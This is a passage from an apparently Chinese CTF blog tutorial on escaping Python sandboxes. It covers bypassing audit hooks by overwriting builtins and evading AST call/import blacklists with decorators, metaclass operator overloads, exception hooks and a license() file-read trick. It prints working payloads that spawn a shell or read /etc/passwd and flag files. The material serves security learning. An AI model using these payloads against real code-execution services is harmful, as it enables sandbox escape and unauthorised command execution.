class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">&gt;</span><span class="language-bash">&gt;&gt; ().__class__.__base__.__subclasses__()[84]</span></span><br><span class="line">&lt;class &#x27;_frozen_importlib.BuiltinImporter&#x27;&gt;</span><br><span class="line"><span class="meta prompt_">&gt;</span><span class="language-bash">&gt;&gt; __loader__</span></span><br><span class="line">&lt;class &#x27;_frozen_importlib.BuiltinImporter&#x27;&gt;</span><br><span class="line"><span class="meta prompt_">&gt;</span><span class="language-bash">&gt;&gt; ().__class__.__base__.__subclasses__()[84].__name__</span></span><br><span class="line">&#x27;BuiltinImporter&#x27;</span><br><span class="line"><span class="meta prompt_">&gt;</span><span class="language-bash">&gt;&gt; [x <span class="keyword">for</span> x <span class="keyword">in</span> ().__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&#x27;BuiltinImporter&#x27;</span> <span class="keyword">in</span> x.__name__][0]</span></span><br><span class="line">&lt;class &#x27;_frozen_importlib.BuiltinImporter&#x27;&gt;</span><br></pre></td></tr></table></figure></div><p><code>__loader__.load_module</code>  也有一个缺点就是<strong>无法导入非内建模块</strong>， 例如 socket</p><div class="highlight-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">&gt;</span><span class="language-bash">&gt;&gt; __loader__.load_module(<span class="string">&#x27;socket&#x27;</span>)</span></span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;</span><br><span class="line">  File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 290, in _load_module_shim</span><br><span class="line">  File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 721, in _load</span><br><span class="line">  File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 676, in _load_unlocked</span><br><span class="line">  File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 573, in module_from_spec</span><br><span class="line">  File &quot;&lt;frozen importlib._bootstrap&gt;&quot;, line 776, in create_module</span><br><span class="line">ImportError: &#x27;socket&#x27; is not a built-in module</span><br></pre></td></tr></table></figure></div><h4 id="篡改内置函数"><a class="markdownIt-Anchor" href="#篡改内置函数">#</a> 篡改内置函数</h4><p>这道 audit hook 题还有一个解法，可以看到 WHITE_EVENT 是通过 set 函数返回的，set 函数作为一个内置函数实际上也是可以被修改的</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WHITED_EVENTS = <span class="built_in">set</span>(&#123;<span class="string">&#x27;builtins.input&#x27;</span>, <span class="string">&#x27;builtins.input/result&#x27;</span>, <span class="string">&#x27;exec&#x27;</span>, <span class="string">&#x27;compile&#x27;</span>&#125;)</span><br></pre></td></tr></table></figure></div><p>比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.<span class="built_in">set</span> = <span class="keyword">lambda</span> x: [<span class="string">&#x27;builtins.input&#x27;</span>, <span class="string">&#x27;builtins.input/result&#x27;</span>,<span class="string">&#x27;exec&#x27;</span>, <span class="string">&#x27;compile&#x27;</span>, <span class="string">&#x27;os.system&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>这样 set 函数会固定返回带有 os.system 的列表.</p><p>最终 payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">exec(&quot;for k,v in enumerate(globals()[&#x27;__builtins__&#x27;]): print(k,v)&quot;)</span><br><span class="line"></span><br><span class="line"># 篡改函数</span><br><span class="line">exec(&quot;globals()[&#x27;__builtins__&#x27;][&#x27;set&#x27;]=lambda x: [&#x27;builtins.input&#x27;, &#x27;builtins.input/result&#x27;,&#x27;exec&#x27;, &#x27;compile&#x27;, &#x27;os.system&#x27;]\nimport os\nos.system(&#x27;cat flag2.txt&#x27;)&quot;)</span><br></pre></td></tr></table></figure></div><h4 id="其他不触发-hook-的方式"><a class="markdownIt-Anchor" href="#其他不触发-hook-的方式">#</a> 其他不触发 hook 的方式</h4><p>使用  <code>__loader__.load_module('os')</code>  是为了获取 os 模块，其实在 no builtins 利用手法中，无需导入也可以获取对应模块。例如:</p><h3 id="绕过-ast-沙箱"><a class="markdownIt-Anchor" href="#绕过-ast-沙箱">#</a> 绕过 AST 沙箱</h3><p>Python 的 ast 模块是一个用于处理 Python 代码抽象语法树（AST）的库。它提供了一些工具，可以让开发者轻松地检查、修改和生成 Python 代码的 AST。</p><p>抽象语法树是 Python 源代码的一种树形表示形式，用于表示 Python 代码的语法结构。Python 的 ast 模块可以将 Python 代码解析为 AST，并提供了许多方法和属性，以便开发者可以访问和修改 AST 节点。</p><p>以下是 ast 模块中常用的一些类和方法：</p><ol><li>ast.parse(source, filename=’<string>’, mode=‘exec’)：将源代码解析为 AST 对象。</string></li><li>ast.dump (node)：将 AST 节点转换为字符串形式输出。</li><li>ast.NodeVisitor：一个基类，可以用于遍历和修改 AST 树。</li><li>ast.NodeTransformer：一个基类，可以用于修改 AST 节点。</li><li>ast.Module：表示 Python 模块。</li><li>ast.FunctionDef：表示 Python 函数。</li><li>ast.ClassDef：表示 Python 类。</li><li>ast.Assign：表示 Python 的赋值语句。</li><li><a class="link" href="http://ast.Name">ast.Name <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>：表示 Python 的变量名。</li></ol><p>使用 ast 模块可以让开发者方便地访问和修改 Python 代码的语法结构，例如可以用它来分析 Python 代码的复杂度、检查代码的安全性、提取代码中的关键字等等。<a class="link" href="https://blog.csdn.net/qq_43705697/article/details/130443928">python ast 详解与用法 - CSDN 博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>AST 沙箱会将用户的输入转化为操作码，此时字符串层面的变换基本上没用了，一般情况下考虑<strong>绕过 AST 黑名单</strong>。例如下面的沙箱禁止了  <code>ast.Import|ast.ImportFrom|ast.Call</code>  这三类操作，这样一来就无法导入模块和执行函数.</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> ast</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">verify_secure</span>(<span class="params">m</span>):</span><br><span class="line">  <span class="keyword">for</span> x <span class="keyword">in</span> ast.walk(m):</span><br><span class="line">    <span class="keyword">match</span> <span class="built_in">type</span>(x):</span><br><span class="line">      <span class="keyword">case</span> (ast.Import|ast.ImportFrom|ast.Call):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;ERROR: Banned statement <span class="subst">&#123;x&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">  <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">abspath = os.path.abspath(__file__)</span><br><span class="line">dname = os.path.dirname(abspath)</span><br><span class="line">os.chdir(dname)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;-- Please enter code (last line must contain only --END)&quot;</span>)</span><br><span class="line">source_code = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">  line = sys.stdin.readline()</span><br><span class="line">  <span class="keyword">if</span> line.startswith(<span class="string">&quot;--END&quot;</span>):</span><br><span class="line">    <span class="keyword">break</span></span><br><span class="line">  source_code += line</span><br><span class="line"></span><br><span class="line">tree = <span class="built_in">compile</span>(source_code, <span class="string">&quot;input.py&quot;</span>, <span class="string">&#x27;exec&#x27;</span>, flags=ast.PyCF_ONLY_AST)</span><br><span class="line"><span class="keyword">if</span> verify_secure(tree):  <span class="comment"># Safe to execute!</span></span><br><span class="line">  <span class="built_in">print</span>(<span class="string">&quot;-- Executing safe code:&quot;</span>)</span><br><span class="line">  compiled = <span class="built_in">compile</span>(source_code, <span class="string">&quot;input.py&quot;</span>, <span class="string">&#x27;exec&#x27;</span>)</span><br><span class="line">  <span class="built_in">exec</span>(compiled)<span class="comment"># 获取 sys</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;wrapper&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(x.__init__) <span class="keyword">and</span> <span class="string">&quot;sys&quot;</span> <span class="keyword">in</span> x.__init__.__globals__ ][<span class="number">0</span>][<span class="string">&quot;sys&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 os</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> <span class="string">&quot;&#x27;_sitebuiltins.&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) <span class="keyword">and</span> <span class="keyword">not</span> <span class="string">&quot;_Helper&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(x) ][<span class="number">0</span>][<span class="string">&quot;sys&quot;</span>].modules[<span class="string">&quot;os&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 其他的 payload 也都不会触发</span></span><br><span class="line">[ x.__init__.__globals__ <span class="keyword">for</span> x <span class="keyword">in</span> <span class="string">&#x27;&#x27;</span>.__class__.__base__.__subclasses__() <span class="keyword">if</span> x.__name__==<span class="string">&quot;_wrap_close&quot;</span>][<span class="number">0</span>][<span class="string">&quot;system&quot;</span>](<span class="string">&quot;ls&quot;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="without-call"><a class="markdownIt-Anchor" href="#without-call">#</a> without call</h4><p>如果基于 AST 的沙箱限制了执行函数，那么就需要找到一种不需要执行函数的方式执行系统命令.</p><h5 id="装饰器"><a class="markdownIt-Anchor" href="#装饰器">#</a> 装饰器</h5><p>利用 payload 如下，该 payload 实际上等效于 exec (input (X))</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@exec</span></span><br><span class="line"><span class="meta">@input</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">X</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure></div><p>当我们输入上述的代码后，Python 会打开输入，此时我们再输入 payload 就可以成功执行命令.</p><div class="highlight-container" data-rel="Sh"><figure class="iseeu highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; @<span class="built_in">exec</span></span><br><span class="line">... @input</span><br><span class="line">... class X:</span><br><span class="line">...     pass</span><br><span class="line">... </span><br><span class="line">&lt;class <span class="string">&#x27;__main__.X&#x27;</span>&gt;__import__(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;ls&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>由于装饰器不会被解析为调用表达式或语句，因此可以绕过黑名单，最终传入的 payload 是由 input 接收的，因此也不会被拦截.</p><p>其实这样的话，构造其实可以有很多，比如使用单层的装饰器，打开 help 函数.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@help</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">X</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure></div><p>这样可以直接进入帮助文档:</p><div class="highlight-container" data-rel="Sh"><figure class="iseeu highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Help on class X <span class="keyword">in</span> module __main__:</span><br><span class="line"></span><br><span class="line">class X(builtins.object)</span><br><span class="line"> |  Data descriptors defined here:</span><br><span class="line"> |  </span><br><span class="line"> |  __dict__</span><br><span class="line"> |      dictionary <span class="keyword">for</span> instance variables (<span class="keyword">if</span> defined)</span><br><span class="line"> |  </span><br><span class="line"> |  __weakref__</span><br><span class="line"> |      list of weak references to the object (<span class="keyword">if</span> defined)</span><br><span class="line">(END)</span><br></pre></td></tr></table></figure></div><p>再次输入！sh 即可打开 /bin/sh</p><p>或是给装饰器加一些参数。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fake_wrapper</span>(<span class="params">f</span>):</span><br><span class="line">  <span class="keyword">return</span> <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@getattr(<span class="params">os,<span class="string">&quot;system&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@fake_wrapper</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">something</span>():</span><br><span class="line">  <span class="keyword">pass</span></span><br></pre></td></tr></table></figure></div><p>相当于：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">getattr(os,&quot;system&quot;)(fake_wrapper(something))</span><br></pre></td></tr></table></figure></div><p>亦或者自定义一个装饰器：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fake_wrapper</span>(<span class="params">f</span>):</span><br><span class="line">  <span class="keyword">return</span> <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@os.system</span></span><br><span class="line"><span class="meta">@fake_wrapper</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">something</span>():</span><br><span class="line">  <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>相当于  <code>os.system(fake_wrapper(something))</code> ，也就是  <code>os.system(‘/bin/sh’)</code></p><h5 id="函数覆盖"><a class="markdownIt-Anchor" href="#函数覆盖">#</a> 函数覆盖</h5><p>我们知道在 Python 中获取一个的属性例如  <code>obj[argument]</code>  实际上是调用的  <code>obj.__getitem__</code>  方法。因此只需要覆盖其  <code>__getitem__</code>  方法，即可在使用  <code>obj[argument]</code>  执行代码:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">class</span> <span class="title class_">A</span>:</span><br><span class="line"><span class="meta">... </span>    __getitem__ = <span class="built_in">exec</span></span><br><span class="line"><span class="meta">... </span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>A()[<span class="string">&#x27;__import__(&quot;os&quot;).system(&quot;ls&quot;)&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>但是这里调用了 A 的构造函数，因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢？</p><h6 id="metaclass-利用"><a class="markdownIt-Anchor" href="#metaclass-利用">#</a> metaclass 利用</h6><p>Python 中提供了一种元类 (metaclass) 概念。元类是创建类的 “类”。在 Python 中，类本身也是对象，元类就是创建这些类（即类的对象）的类。</p><p>元类在 Python 中的作用主要是用来创建类。类是对象的模板，而元类则是类的模板。元类定义了类的行为和属性，就像类定义了对象的行为和属性一样。</p><p>下面是基于元类的 payload, 在不使用构造函数的情况下触发</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Metaclass</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    __getitem__ = <span class="built_in">exec</span> </span><br><span class="line">    </span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Sub</span>(metaclass=Metaclass):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">Sub[<span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>除了  <code>__getitem__</code>  之外其他方法的利用方式如下:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">__sub__ (k - <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__mul__ (k * <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__floordiv__ (k // <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__truediv__ (k / <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__mod__ (k % <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__pow__ (k**<span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__lt__ (k &lt; <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__le__ (k &lt;= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__eq__ (k == <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ne__ (k != <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ge__ (k &gt;= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__gt__ (k &gt; <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__iadd__ (k += <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__isub__ (k -= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__imul__ (k *= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ifloordiv__ (k //= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__idiv__ (k /= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__itruediv__ (k /= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>) (Note that this only works when <span class="keyword">from</span> __future__ <span class="keyword">import</span> division <span class="keyword">is</span> <span class="keyword">in</span> effect.)</span><br><span class="line">__imod__ (k %= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ipow__ (k **= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ilshift__ (k&lt;&lt;= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__irshift__ (k &gt;&gt;= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__iand__ (k = <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ior__ (k |= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br><span class="line">__ixor__ (k ^= <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>示例:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Metaclass</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    __sub__ = <span class="built_in">exec</span></span><br><span class="line">    </span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Sub</span>(metaclass=Metaclass):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">Sub-<span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span></span><br></pre></td></tr></table></figure></div><h6 id="exceptions-利用"><a class="markdownIt-Anchor" href="#exceptions-利用">#</a> exceptions 利用</h6><p>利用 exceptions 的目的也是为了绕过显示地实例化一个类，如果一个类继承了 Exception 类，那么就可以通过 raise 关键字来实例化. payload 如下:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">RCE</span>(<span class="title class_ inherited__">Exception</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self += <span class="string">&#x27;import os; os.system(&quot;sh&quot;)&#x27;</span></span><br><span class="line">    __iadd__ = <span class="built_in">exec</span> </span><br><span class="line">    </span><br><span class="line"><span class="keyword">raise</span> RCE </span><br></pre></td></tr></table></figure></div><p>raise 会进入 RCE 的  <code>__init__</code> , 然后触发  <code>__iadd__</code>  也就是 exec.</p><p>当然，触发异常不一定需要 raise, 主动地编写错误代码也可以触发，与是就有了如下的几种 payload.</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">X</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, a, b, c</span>):</span><br><span class="line">        self += <span class="string">&quot;os.system(&#x27;sh&#x27;)&quot;</span></span><br><span class="line">    __iadd__ = <span class="built_in">exec</span></span><br><span class="line">sys.excepthook = X</span><br><span class="line"><span class="number">1</span>/<span class="number">0</span></span><br></pre></td></tr></table></figure></div><p>这个 payload 中直接将 sys.excepthook 进行覆盖，任何异常产生时都会触发.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">X</span>():</span><br><span class="line">  <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, a, b, c, d, e</span>):</span><br><span class="line">    self += <span class="string">&quot;print(open(&#x27;flag&#x27;).read())&quot;</span></span><br><span class="line">  __iadd__ = <span class="built_in">eval</span></span><br><span class="line">__builtins__.<span class="built_in">__import__</span> = X</span><br><span class="line">&#123;&#125;[<span class="number">1337</span>]</span><br></pre></td></tr></table></figure></div><p>这个 payload 将  <code>__import__</code>  函数进行覆盖，最后的 {}[1337] 在正常情况下会引发 KeyError 异常，因为 Python 在引发异常时会尝试导入某些模块（比如 traceback 模块），导入时就会触发  <code>__import__</code> .</p><h5 id="通过-license-函数读取文件"><a class="markdownIt-Anchor" href="#通过-license-函数读取文件">#</a> 通过 license 函数读取文件</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">__builtins__.__dict__[<span class="string">&quot;license&quot;</span>]._Printer__filenames=[<span class="string">&quot;/etc/passwd&quot;</span>]</span><br><span class="line">a = __builtins__.<span class="built_in">help</span></span><br><span class="line">a.__class__.__enter__ = __builtins__.__dict__[<span class="string">&quot;license&quot;</span>]</span><br><span class="line">a.__class__.__exit__ = <span class="keyword">lambda</span> self, *args: <span class="literal">None</span></span><br><span class="line"><span class="keyword">with</span> (a <span class="keyword">as</span> b):</span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure></div><p>上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用  <code>license()</code>  时会打印这个文件的内容.</p><div class="highlight-container" data-rel="Sh"><figure class="iseeu highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; __builtins__.__dict__[<span class="string">&quot;license&quot;</span>]._Printer__filenames</span><br><span class="line">[<span class="string">&#x27;/usr/lib/python3.11/../LICENSE.txt&#x27;</span>, <span class="string">&#x27;/usr/lib/python3.11/../LICENSE&#x27;</span>, <span class="string">&#x27;/usr/lib/python3.11/LICENSE.txt&#x27;</span>, <span class="string">&#x27;/usr/lib/python3.11/LICENSE&#x27;</span>, <span class="string">&#x27;./LICENSE.txt&#x27;</span>, <span class="string">&#x27;./LICENSE&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>payload 中将 help 类的  <code>__enter__</code>  方法覆盖为  <code>license</code>  方法，而  <code>with</code>  语句在创建上下文时会调用 help 的 <code>__enter__</code> , 从而执行  <code>license</code>  方法。这里的 help 类只是一个载体，替换为其他的支持上下文的类或者自定义一个类也是可以的。例如:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyContext</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line">    </span><br><span class="line">__builtins__.__dict__[<span class="string">&quot;license&quot;</span>]._Printer__filenames=[<span class="string">&quot;/etc/passwd&quot;</span>]</span><br><span class="line">a = MyContext()</span><br><span class="line">a.__class__.__enter__ = __builtins__.__dict__[<span class="string">&quot;license&quot;</span>]</span><br><span class="line">a.__class__.__exit__ = <span class="keyword">lambda</span> self, *args: <span class="literal">None</span></span><br><span class="line"><span class="keyword">with</span> (a <span class="keyword">as</span> b):</span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure></div><h4 id="绕过-astattribute-获取属性"><a class="markdownIt-Anchor" href="#绕过-astattribute-获取属性">#</a> 绕过 ast.Attribute 获取属性</h4><p>如何绕过 ast.Attribute？python 3.10 中引入了一个新的特性：match/case，类似其他语言中的 switch/case，但 match/case 